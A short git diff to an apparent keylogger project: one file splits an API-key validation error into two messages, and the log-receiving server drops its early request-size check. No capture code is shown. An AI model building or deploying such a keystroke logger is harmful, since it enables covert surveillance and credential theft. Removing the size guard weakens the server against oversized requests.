diff --git a/src/keylogger.py b/src/keylogger.py index 4295e5d..14537f4 100644 --- a/src/keylogger.py +++ b/src/keylogger.py @@ -227,8 +227,12 @@ def main(): print("Please set server_url in config/config.json or use --server-url argument.") sys.exit(1) - if not api_key or len(api_key) < 24: - print("Error: LOG_INGEST_API_KEY environment variable is required and must be at least 24 characters.") + if not api_key: + print("Error: LOG_INGEST_API_KEY environment variable is required.") + sys.exit(1) + + if len(api_key) < 24: + print("Error: LOG_INGEST_API_KEY must be at least 24 characters.") sys.exit(1) if args.no_verify_ssl: diff --git a/src/server.py b/src/server.py index a2f47da..a09b2a4 100644 --- a/src/server.py +++ b/src/server.py @@ -230,9 +230,6 @@ def receive_log(): if not has_valid_api_key(): return "Unauthorized", 401 - if request.content_length and request.content_length > MAX_LOG_PAYLOAD_BYTES: - return "Log payload too large", 413 - log_data = request.form.get('log', '') if log_data: if len(log_data.encode('utf-8')) > MAX_LOG_PAYLOAD_BYTES: